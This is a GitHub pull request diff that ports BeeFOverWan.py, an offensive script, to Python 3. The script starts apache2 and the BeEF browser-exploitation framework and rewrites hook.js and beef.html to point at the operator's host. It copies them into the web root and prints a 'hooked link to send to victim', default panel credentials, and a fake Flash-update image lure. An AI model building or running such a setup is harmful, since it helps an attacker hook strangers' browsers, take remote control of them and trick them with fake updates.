Skip to content

Updated BeeFOVerWan.py to run with python3.x #77

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
131 changes: 66 additions & 65 deletions BeeFOverWan.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
import string
import argparse
import os
from termcolor import colored
#from termcolor import colored
Filename="hook.js"

def instruction():
Expand All @@ -25,13 +25,13 @@ def ngrok():

STEP 1 : Add these Lines To ngrok.yml [Location .ngrok2/ngrok.yml ]

tunnels:
first-app:
addr: 80
proto: http
second-app:
addr: 3000
proto: http
\ttunnels:
\t first-app:
\t addr: 80
\t proto: http
\t second-app:
\t addr: 3000
\t proto: http

STEP 2 : Now Start ngrok with : \n
ngrok start --all
Expand All @@ -53,85 +53,86 @@ def banner():
| |_) | __/ __/ | | |__| |\ V / __/ | \ /\ / ____ \| |\ |
|____/ \___|\___|_| \____/ \_/ \___|_| \/ \/_/ \_\_| \_|

BY SKS \n\n https://github.com/stormshadow07 """
def color(string, color=None):
attr = []
attr.append('1')
BY SKS \n\n https://github.com/stormshadow07
"""
# def color(string, color=None):
# attr = []
# attr.append('1')

if color:
if color.lower() == "red":
attr.append('31')
elif color.lower() == "green":
attr.append('32')
elif color.lower() == "blue":
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

else:
if string.strip().startswith("[!]"):
attr.append('31')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[+]"):
attr.append('32')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[?]"):
attr.append('33')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
elif string.strip().startswith("[*]"):
attr.append('34')
return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
else:
return string
# if color:
# if color.lower() == "red":
# attr.append('31')
# elif color.lower() == "green":
# attr.append('32')
# elif color.lower() == "blue":
# attr.append('34')
# return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)

# else:
# if string.strip().startswith("[!]"):
# attr.append('31')
# return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
# elif string.strip().startswith("[+]"):
# attr.append('32')
# return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
# elif string.strip().startswith("[?]"):
# attr.append('33')
# return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
# elif string.strip().startswith("[*]"):
# attr.append('34')
# return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string)
# else:
# return string


def string_replace(filename, old_string, new_string):
# Safely read the input filename using 'with'
with open(filename) as f:
s = f.read()
if old_string not in s:
print '"{old_string}" not found in {filename}.'.format(**locals())
return
print("'{old_string}' not found in {filename}.".format(**locals()))
return

# Safely write the changed content, if found in the file
with open(filename, 'w') as f:
#print 'Changing "{old_string}" to "{new_string}" in {filename}'.format(**locals())
s = s.replace(old_string, new_string)
f.write(s)
print color('[✔] File Changed...','green')


#print("File Saved")



if __name__ == '__main__':
os.system("clear")


print color(instruction(),"green")
print color("[*] IF you want to Do this Without Port Forwarding : Use NGROK\n")
ng_check=raw_input(color("[?] Press '1' to see NGROK Instructions else Press '0' : "))
print ng_check
print (instruction())
print("[*] IF you want to Do this Without Port Forwarding : Use NGROK\n")
ng_check=input("[?] Press '1' to see NGROK Instructions else Press '0' : ")
print(ng_check)
if (ng_check):
print color(ngrok(),"green")
con=raw_input(color("[?] Press Enter to Continue ..."))
print(ngrok())
con=input("[?] Press Enter to Continue ...")
os.system("clear")
print color(" Checking Services Status Required ","blue")
print(" Checking Services Status Required ")
os.system("service apache2 start")
os.system("beef-xss")
os.system("clear")
print color("All Good So far ... \n Close The Browser If Prompted .. ","green")
print color(banner(),"green")
send_to=raw_input(color((' [?] Enter Adress of Link [You are Sending to Victim]: ')))
print("All Good So far ... \n Close The Browser If Prompted .. ")
print(banner())
send_to=input(' [?] Enter Adress of Link [You are Sending to Victim]: ')
send_to=send_to.rstrip()
print color((" [+] Send_To Link : "+ send_to))
connect_to=raw_input(color((' [?] Enter Adress of Link [Your Link will be Connecting to..]: ')))
print(" [+] Send_To Link : "+ send_to)
connect_to=input(' [?] Enter Adress of Link [Your Link will be Connecting to..]: ')
connect_to=connect_to.rstrip()
print color((" [+] Connect_To Link : "+ connect_to))
print color('[✔] Checking directories...','green')
print(" [+] Connect_To Link : "+ connect_to)
print('[✔] Checking directories...')
if not os.path.isdir("./temp"):
os.makedirs("./temp")
print (color("[+] Creating [./temp] directory for resulting code files","green"))
print("[+] Creating [./temp] directory for resulting code files")
else:
os.system("rm -rf temp/*")
print color("Clean Succesful","green")
print("Clean Succesful")
connect_to_full='http://'+connect_to+":80/hook.js"
connect_to_panel='http://'+connect_to+"/ui/panel"
send_to_full='http://'+send_to+'/beef.html'
Expand All @@ -145,14 +146,14 @@ def string_replace(filename, old_string, new_string):
os.system("cp ./temp/* /var/www/html/")
os.system("chmod a+rw /var/www/html/hook.js")

print color("\n==================================== RESULT ====================================\n","blue")
print color("[+] Access The BeeF Control Panel Using : {}".format(connect_to_panel),"green")
print color("\t Username = beef\n\t Password = beef\n","blue")
print color("[+] Hooked Link To Send to Victim : "+send_to_full,"green")
print color ('[?]\n\nNote : I know few of the Exploits does not work\n due to Updated Browsers and stuff...\n\nTip : Change Payload or Images Address to your Connect_to Address with Port 80 \n\t Example : \n\t\t')
print color("\tFROM Image URL : http://0.0.0.0:3000/adobe/flash_update.png\n","red")
print color("\tTO Image URL : http://{}:80/adobe/flash_update.png \n".format(connect_to),"green")
print color ('\n Happy Hacking !!!\n Have Problem or Tip ? Contact : https://github.com/stormshadow07',"green")
print("\n==================================== RESULT ====================================\n")
print("[+] Access The BeeF Control Panel Using : {}".format(connect_to_panel))
print("\t Username = beef\n\t Password = beef\n")
print("[+] Hooked Link To Send to Victim : ",send_to_full)
print("[?]\n\nNote : I know few of the Exploits does not work\n due to Updated Browsers and stuff...\n\nTip : Change Payload or Images Address to your Connect_to Address with Port 80 \n\t Example : \n\t\t")
print("\tFROM Image URL : http://0.0.0.0:3000/adobe/flash_update.png\n")
print("\tTO Image URL : http://{}:80/adobe/flash_update.png \n".format(connect_to))
print("\n Happy Hacking !!!\n Have Problem or Tip ? Contact : https://github.com/stormshadow07")



Expand Down